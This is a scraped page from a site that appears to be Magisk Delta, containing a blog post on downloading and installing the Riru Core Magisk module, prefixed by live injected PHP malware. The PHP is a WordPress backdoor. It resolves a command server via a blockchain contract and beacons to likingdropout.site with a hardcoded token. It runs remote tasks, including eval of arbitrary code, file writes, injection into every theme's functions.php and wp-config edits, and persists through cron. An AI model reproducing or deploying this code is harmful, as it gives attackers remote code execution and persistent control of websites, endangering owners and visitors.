// bc_ng
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home2/xydscmmy/public_html/website_9f556cfb/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// bc_ng',
'vis'=>'// 6k_73',
'vis_func'=>'wp_biojqa',
'vis_paths'=>array('/home2/xydscmmy/public_html/website_9f556cfb/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_8p8cbh4n',
);
$keys=array();
$keys['id']='3wm';
$keys['ver']='z5';
$keys['caps']='1na';
$keys['tasks']='4p9';
$keys['interval']='t9b';
$keys['ack_id']='ftj';
$keys['ok']='m6';
$keys['detail']='a9j';
$keys['inv']='x9r';
$keys['result']='0dg';
$hdr='X-IOC-Auth';$tok='juth2SlJpL9062N47xufoOcML7MEXYiHiBy5e4iJFoo';$id='b74eb746247c0290';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The post Riru core Magisk Module Download v26.1.7 Latest Version 2025 appeared first on Magisk Delta.
]]>With the latest Riru-v26.1.7 zip, you can easily extend Magisk’s capabilities without touching the system partition. Whether you’re downloading the Magisk Riru Core Module zip
For the first time or when upgrading to the Riru Core Magisk Module, this guide covers everything you need to know—step-by-step.
Riru is a Magisk module framework that allows other modules to run inside Android’s zygote process, enabling deep-level modifications while keeping your systemless root intact. In simple terms, it allows other modules to “hook” into the core of Android without compromising safety nets or system integrity.
Think of Riru as a bridge between Magisk and custom modifications like LSPosed or EdXposed. It gives developers a stable base to create powerful tweaks that change how your Android system behaves—without rewriting the whole OS.
Riru runs as a Magisk module, meaning it loads during system startup through Magisk’s systemless root environment. Once active, it injects its code into Android’s runtime (Zygote) to enable modules that rely on deep system integration.
Unlike other modules that modify /system Riru uses Magisk’s systemless method—keeping your Android device OTA-friendly and SafetyNet-compliant.
| Property | Details |
|---|---|
| Module Name | Riru Core Magisk Module |
| Latest Version | v26.1.7 (2025 Release) |
| Developer / Maintainer | Rikka Apps (Official Developer) |
| Module Type | Magisk Module (Systemless Framework) |
| File Name | riru-v26.1.7.zip |
| File Size | 2.7 MB |
| Supported Android Versions | Android 8 (Oreo) to Android 14 |
| Architecture Support | arm64, armv7, x86_64 |
| Installation Method | Flash via Magisk App → Modules → Install from Storage |
| Main Purpose | Enables Riru-based modules to inject code into Android’s Zygote process |
| Last Updated | October 2025 |
| Official Source / Download Link | Riru GitHub Repository |
| License Type | Open Source (Apache License 2.0) |
What is Riru Core Magisk?
Riru Core is a powerful Magisk module that allows developers and advanced users to modify Android system processes without directly changing system files. It runs through Magisk, injecting code into the Android runtime (zygote) to enable advanced modules like LSPosed or EdXposed. In simple terms, Riru makes it possible to customize your Android device safely and systemlessly.
How to Install Riru Magisk Module?
Installing Riru is easy. First, ensure your device is rooted with Magisk. Then, download the latest Riru Core module (.zip) file from magiskdeltas.com. Open the Magisk app, go to Modules → Install from Storage, and select the Riru zip file. Once it installs, reboot your device to activate it. After restarting, Riru will be listed as active under the Modules tab.
What is Riru Core Used For?
Riru Core acts as a foundation for other powerful Magisk modules. It lets apps and tools run system-level modifications safely, without triggering security flags or altering system partitions. It’s commonly used to run frameworks like LSPosed, which enables advanced Android customizations, privacy tweaks, and UI mods—all while keeping your device stable.
How Do I Install Riru on My Android Device?
To install Riru on Android:
The post Riru core Magisk Module Download v26.1.7 Latest Version 2025 appeared first on Magisk Delta.
]]>